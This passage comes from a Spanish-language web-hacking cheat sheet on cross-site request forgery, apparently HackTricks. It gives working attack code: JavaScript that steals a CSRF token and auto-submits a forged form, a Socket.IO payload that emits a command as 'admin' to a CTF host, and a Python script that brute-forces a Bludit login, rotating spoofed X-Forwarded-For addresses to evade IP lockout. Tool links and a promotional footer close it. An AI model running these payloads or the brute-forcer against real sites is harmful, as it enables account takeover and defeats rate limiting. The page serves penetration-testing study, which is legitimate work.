x.onreadystatechange = function() {
|
|||
|
if (x.readyState == XMLHttpRequest.DONE) {
|
|||
|
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
|||
|
document.getElementById("findtoken").value = token;
|
|||
|
document.getElementById("form").submit();
|
|||
|
}
|
|||
|
}
|
|||
|
</script>
|
|||
|
```
|
|||
|
### CSRF con Socket.IO
|
|||
|
```markup
|
|||
|
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
|||
|
<script>
|
|||
|
let socket = io('http://six.jh2i.com:50022/test');
|
|||
|
|
|||
|
const username = 'admin'
|
|||
|
|
|||
|
socket.on('connect', () => {
|
|||
|
console.log('connected!');
|
|||
|
socket.emit('join', {
|
|||
|
room: username
|
|||
|
});
|
|||
|
socket.emit('my_room_event', {
|
|||
|
data: '!flag',
|
|||
|
room: username
|
|||
|
})
|
|||
|
|
|||
|
});
|
|||
|
</script>
|
|||
|
```
|
|||
|
## CSRF Login Brute Force
|
|||
|
|
|||
|
El código puede ser utilizado para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también utiliza la cabecera X-Forwarded-For para intentar evitar un posible bloqueo de IP):
|
|||
|
```python
|
|||
|
import request
|
|||
|
import re
|
|||
|
import random
|
|||
|
|
|||
|
URL = "http://10.10.10.191/admin/"
|
|||
|
PROXY = { "http": "127.0.0.1:8080"}
|
|||
|
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
|||
|
USER = "fergus"
|
|||
|
PASS_LIST="./words"
|
|||
|
|
|||
|
def init_session():
|
|||
|
#Return CSRF + Session (cookie)
|
|||
|
r = requests.get(URL)
|
|||
|
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
|||
|
csrf = csrf.group(1)
|
|||
|
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
|||
|
return csrf, session_cookie
|
|||
|
|
|||
|
def login(user, password):
|
|||
|
print(f"{user}:{password}")
|
|||
|
csrf, cookie = init_session()
|
|||
|
cookies = {SESSION_COOKIE_NAME: cookie}
|
|||
|
data = {
|
|||
|
"tokenCSRF": csrf,
|
|||
|
"username": user,
|
|||
|
"password": password,
|
|||
|
"save": ""
|
|||
|
}
|
|||
|
headers = {
|
|||
|
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
|||
|
}
|
|||
|
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
|||
|
if "Username or password incorrect" in r.text:
|
|||
|
return False
|
|||
|
else:
|
|||
|
print(f"FOUND {user} : {password}")
|
|||
|
return True
|
|||
|
|
|||
|
with open(PASS_LIST, "r") as f:
|
|||
|
for line in f:
|
|||
|
login(USER, line.strip())
|
|||
|
```
|
|||
|
## Herramientas <a href="#tools" id="tools"></a>
|
|||
|
|
|||
|
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
|||
|
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
|||
|
|
|||
|
## Referencias
|
|||
|
|
|||
|
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
|||
|
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
|||
|
|
|||
|
🐞 Lee tutoriales sobre errores web3
|
|||
|
|
|||
|
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
|||
|
|
|||
|
💬 Participa en discusiones de la comunidad
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|